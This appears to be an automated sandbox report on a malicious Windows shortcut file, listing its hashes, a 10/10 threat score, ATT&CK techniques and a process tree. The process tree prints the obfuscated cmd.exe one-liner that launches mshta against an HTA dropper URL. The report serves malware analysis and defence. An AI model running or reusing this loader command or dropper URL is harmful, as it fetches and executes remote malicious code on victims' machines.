9ad5e8be9d04014a717e4a78159f0286298edd71d81cc5e3c4b2eae02d18e86d

Analysis

max time kernel
148s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:06

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General

Target
DOC-FIIYUA.lnk
Size 1KB
Sample260803-qcdcqayfmc
SHA256 9ad5e8be9d04014a717e4a78159f0286298edd71d81cc5e3c4b2eae02d18e86d
MD5 779e63f02f13dce2f3f6e694f732ef0d
SHA1 c874fe4f813f654e20d6a666a8e855d0e1eb470e
SHA512 cb53b2a5be17307b8879740212233c2adfce2469e80d9231733279ef88dfb1e1e227f3e996fa55112efc3c2812c9daf2b96fee0bf2a8c022cf42898ffa8bfbab
TLSH
T12C31CB103FFD0614F3F39E7384BB571088BBB8A58E21C61D0041460C5072A08E1BBF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5936	cmd.exe
2320	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5936 wrote to memory of 2320	5936	cmd.exe	90
PID 2320 wrote to memory of 4152	2320	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-FIIYUA.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5936
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set Nvb=msh&&set OJ=ta&&start "" !Nvb!!OJ! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\System32\mshta.exe
    mshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:4152

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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